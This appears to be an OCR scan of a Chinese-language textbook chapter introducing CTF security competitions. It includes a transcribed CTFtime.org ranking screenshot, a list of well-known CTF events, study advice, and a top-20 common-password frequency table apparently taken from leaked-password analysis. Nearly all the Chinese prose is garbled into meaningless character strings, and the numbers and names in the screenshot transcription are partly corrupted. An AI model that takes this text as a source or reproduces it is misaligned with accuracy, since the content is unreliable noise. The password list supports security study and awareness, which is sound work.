ST UL BN E WA ME S, EMEANCTFRESACMER T
. R RARIFRESL, UM 2 2B RPAE B 9 ERE Rk HE4, EHEA T
TELIERSE. BH EZOHW N, FRIZESHE, WebiziE, #i5. WL, BE. %42
TizsE, XUAHTFRABRRESEMEIMCTF IR,

2. BhtEt ( Attack-Defense )

P RCTFRE G, SRNLTE P25 7 B AT B fp <7, 590 M 44 IR %5 T
B F RS KRGS, Wik B8 RERETHERERE S, X2 HHMAEL
THEF . BB CTFIEHI AT LSS 180 S bt B B L, B 2t UAAR 4 LB o0 HH
WEf, Re—FhE Szl BRI S PER = BB W M KR 2 e TERXFhFEH
H, AMUBUZ S FEA R D REAR, B FREEK, B a5 4 ) 2Rk th L wf
Zl, RS HAZ m S TEA S5&ERNSK.

3. REHER

REHRRLEE T BRI R R R CTFR IR, ORI Z KLIER
A, B THATEUAAE B R FE S MBI TG, X SE S ok [ N2

10.1.2 HMABCTF=EE

N BMACTFRIBEZAT, SFERNVR—AMii——CTFTIME (https: //ctftime.
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org) , WEIL0-1f7w, KR—HEEmRHECTFE B KM,

= = € 8 hitpsy/ctitime.org @hvy| =
i mEEEeARE. R
Team rating Past events » -
2015 2014 2013 2012 201 E Altay CTF 2015
755 22, 1800 UTC | Bamaul, Russian Federation
Place Team Country Rating E HITB CTF Amsterdam 2015
AE 29,1500 UTC | Amsterdam, The Matherlands
& 1 Plaid Parfiament of Puning =5 975183
Place Team Country  Points
2 Dops | 643 015
w1 StratumAuhuur 1= 40 000
3 Dragon Sector - 588.082
2 deva - 26354
4 Gallopsled = 577427
3 hack ERS 23.030
5 bluelotus 464 655
— - TE 20 teams total | Tasks and writeups
7 1SpamAndHex = ssorg; [ PHD CTF Finals 2015
AR 271500 UTC | Moscow. Russia
B 27 - 390.529 B
Place Team Country  Points
9 Tasteless ErraT i)
m1 More Smoked Leet =] 20.000
10 Samurai =] 346.936 ~ Chicken
2 ReallyNonamesFor - 12726
Full rating | Rating formula
A 3 Rdotorg == 9.707
Upcomlng events o
s oo Date Duration 9 teams lotal | Tasks and wrileups
TliCTF 2015 +tH 10 2d Ch
@ Ordine 20150900
H — R
0900 UTC 4
=

E10-1 CTFTIMER i

RIECTFTIMEM B ) 2 45, EHFrm s FmT.

DEFCON CTF: CTF&$F ey “#5FA47 .

UCSBIiCTF: & BUCSB#) & @)t F 54 49 CTF.

Plaid CTF: &% % & F 2 FH9CMUK PPP H IR 004 15 & WAL 5

Boston Key Party: 1% 5 44 69 /5 26 40 5 .

XXC3 CTF: B £ s #E X CCCEE KA 89 CTF,

SIGINT CTF: #£ECCCACH4& % —9 AR X%

Hack.lu CTF: )% &% Z &4 E#% A 69CTF,

EBCTF: Wi 2 %)% 3% AEindbazeni 4 .

Ghost in the Shellcode: W Marauders#=Men in Black Hats 3t 5] 20 27 6% {£ 28 S 20 58

RwthCTF: 74 OldEurOpe2H 22 4 15 25 5 5 5% o

RuCTF: W& ¥ #rHackerdom#A 4%, AL X FTHAED W SIKLAR, BRAEX 2

R R T AR B KRR

» RuCTFe: wWi& ¥ MrHackerdom#H 42 &% & &) 23869 48 £ 2 0 5% o

» PHD CTF: & ¥ #7Positive Hacking Day £33l #i 4 7 #3 CTF .

ESESIEZE 3 R/

> XCTF2HEBKEE: YEMSZHLAHESETFEGHEIFLE N, ST TR
KEEN TEAM# 71t A B4R %% 2K F-F &, 201420158 F A5 E R 50 h
wae, B, Hr K. e E AR RAE (45 BHCTF, MAESCTE. i
£BCTF. EROCTFAi#f KACTF) , XCTFREAE LA F B K ELEAAR, £ H

Y oO¥ ¥V ¥V ¥ ¥V ¥ ¥ ¥ ¥V ¥
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RRAR RBHEARKTERRG A AGCITRFTF G
> ALCTF: W EEEAFAR, Mo T EGCTITR, TFLE10% T

BlackHat 2429 1 .
» XDCTF: Wl %s FHAEKXFEZLELL2HLMEUCTFEER, A2 mhdTHh
iE R,

» HCTF: wthl & FH3H K 5135 84 422K 228 CTF.
» ISCC: Wibr TR MR A TR, RILHFRIEGCTFRES .

10.1.3 I{AIFRBCTFZhk

HFCTERFEH &6 LTI 15 B2 (IR m a4, 3T
FEEIZE SR BIERGEAZ LS. Baiwse (LEW R S5k, 105 5k
W)« WM. WebXidi. WebHEF 5041, BRER, B¥ENEH. B
FWFAA A ACM%GFE. SRAREHBGESE) , Fril+aE S EMIL LR Z2HAR
RUFE .

iR R R IR LSS AR DR CTF, b 772X &N A AR R AN BN . 24
A MRENAH 2R, B2 EHA SR AR AMES b, 0 7E S I R
TIXFEAFER . MERAER RS, AEFE T HASH Writeup (Writeup 1 FH 5 X2
“BIFRE” . ECTFREIET, STETME M BRSO PR A Writeup, M H H Fid3x
FAZH, HAANEIE) iRFHCHEET, —EEE O T LK.

10.1.4 —LZIH

N FRR ST FCTFRFEMEE RN, TIIEHTEMSE “FB R CIREETF
BIHERR) , BE T —BREpEHAFK.

B, RO TE - AEEEEH ERAA, FEREEE IR TR, BHEEE
Bt L= —THMEE, ARG FRRgREE,

2, A E P BT ERFERT, B — e R, A PR 2 N G AN B A v N
FR K Z B B P ), — 8 B R B 4

=, PR RBGFHCERTS, 83 SRS 97, —EESTRAE N PhA L
TIEER, ARIBATEAER “Or” EEHRE K.

E0Y, %Ki EERN, ARMERBESIEFIC.

F1, RZWebila @, HSZFEMA AZE#GZ AT IEA MBS B & fuzz (1
B 8, THAERSF.

FN, EEZ MR |EEA.

BHEEY N TZENEMMIR, THT BEAFTINZRZE, SaTUHGEECH
CTFZJET -
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TR 2 A ) SE R TSN A ep o) HE R B BN To iR A R Rk 1 ™ B ) A
HATEBUBCRB S T HFEREENY, HEF8M RN &HES MEERRE S (F)
WG SRE A ST ERS) , RAAEERATREA T P 58— B ) B A S O A AN 8 42
4, (EARX 2 A R AR O RE LLICAZ .

FEXSIXAN R, el MR T RS TR I B R LA ST B AR P B
B AR THELULIZ RV EN . X AWATREA %, # TR, ibZATASS D

X HSEF H — %D, FIRIRARA A CRABNEN?

123456

123456789

12345678

111111

123123

11111111

5201314

000000

123321

00000000

1234567890

123123123

1314520

1234567

12345

666666

38888888

888888

654321

112233

WRAHFTEGE, Ko AMFELEKS, ERAREREENHE 22—,

BATEIRER ES (BRMXN TENELERRUIEAH L, (E KA LWL B
FKV) . RBAMEEFA, HEESEAS, HEEEMTHRAEE, B4H20
A S5 IR, VPHARAE R TATHINEAE, WHELETR.

FRAE KER A NEBREAE I PR3 B QAR ER W 26 L &S, (B4R AR ST 2
B AANEAE? R IAD R A — L

B v EAHLE R AT PL2t — B O A\ B WD R SLZ A B E IR B R 1, A FEEE I
O Al B F S KL T ZE2 /N 454y #hRI AT 4855525 (000000~999999) . Ak 2 Ui,
Z2NWFAS R R, HAM SR AEBRINEESETE, MAIE R “123456789”
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FTARR M ONL Al B - W 57 3 T T W B Rl K 2 1S RIEE ., A 2B LA HE
MEZEMTIE? KELRMEER: URAE A R AT Y 2 BEHLOAL B0, T
1234567898 THIEEL T, BB MBI

& output.ixt - 0= O

M) RE(E) EI0) ZJ(V) EEH)
123456 0, 174270290071
123456789 0. 075297329073

12345678 0. 044501870922
111111 0. 0298642716312

125123 0. 0169782148936
11111111 0. 0156501446508
5201314 0. 0137360198552
000000 0. 00766271276595
123321 0. 0066593390071
00000000 0. 00657054600929
1234567850 0. 00629397021277
123123123 0. 00560862624113
1314520 0. 00508852624113
1254567 0. 0049864539007

12345 0. 00455495460993
666666 0. 00435650141844
BEEEEEEE 0. 0048028957 4468
88EEEE 0. DD3EEEQEEE156

654321 0. 00324844680851
112233 0. 00307217943262

ME1 EIASGITEHER

RO X L 55 WA A S e, ATHEE SAFB R IA— S MR, flins i,
5%, —PRFMISCTR COONBIRD) AEMAEN, HBZAH &R EIRE
LA BRI R A REZ5 28 5 B QR — A7, MR LT RIS R 5738, AT LOARE
A iR WE (M RS RERIR G, Prili a5 & A Mdas, &
MIEEATCAHRL ], 2SN R IABIRERIS, Tt % A RAH IS AR T IE IR B 59
HHREarE, Xi, AMIEEZEE A “H 07 RTPEELET . JFXaHEHID
) o (EHLESEEAREREREGHRIE, KB EEENRAAFENAN, A1 E I
A FEHUSRKTHSRE ST, (L ARATAT DL R 20 # R HE T a6, Blln: ARIA ik =,
IRAVRH RS A ATREE AT “ZS” AT, WRSHM TIRIAEH, HBAZdE L
FORZMAS, WRAIRKVEIRS RXEL ST f, BAREEBKELTER
2z,

BEARBATH E A A 2 4, At A E AR Ak B A R DR b i A He 7 X i 2
FUARBTBN “5h 07 WAFE. BIZ—TF, FEREER IRMAL N FEN, B2005A
M —XAEHAAR—F? Bh! R E UG, IS, R2 Rl KR A 655
AR UERD . B4, “RAE” SRR IEE T ANLESKIRA, 75K U Z i3]
“CNERTUHHENLS IS o X6, ZHrEs ISR REAT — AR BUC
ERALT .

FEREFNAZAREL )G, THMERE —HATiEFEHEER R4 T,

MITERSBATSCTRBFEE M —E S ILIL N E LA SRS, EBRe
A SR MECAZ . MTHIEE R E ETRIKS 5%, B3 ——xh b aifc
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KA WM. FEANEENTREH, JIaEmEaSsEN R, R AEHEM
B, SEULAEEAMSERIKB.

ATAR I 3 ) T B S 2 A MOR R AN E Y, EEMZ T EEN—H.
i IS K AR P R—— AR Z 2R A Z2 . N 2R M s
PEEWILER, AR5 KLEERAER N, XFER 2 e, ARSME, NAE
H B CRABNEY (EAZTURTERN NN 02 o WERARERE 8
BAK, LiEiE L ety XRWREH S A RER A S MEE (BT ET
B AHT WEM, —HME, “RE8E" RAREE. HNRE - METIE, ET
WRREI NS HOERWEN, A REHZEE,

PR T EEAL, G2 T HEM S HIhREtha i ek, Bl AT B —F
DRE——# A%k Inl, W Aok el & 7R R I A B AR SR AR TSR e 1 5y, TZEAR
FUIE R RN DU T BB R . BATSE B ORI, XHSERaH, Raixes
BrGAEE BEAMENZ T (IATERFIK S RO A2 B B 2RI AR N A
kR,

AR AR T —BAEF R F S 2R, AN ERE (Bl BT FER
i BB KIRIEA REVHR 2. AR —/ N, FEBhEE AN TR B 2, &
TRF A5G, FRIBIEER, B AE RS M523 g A .
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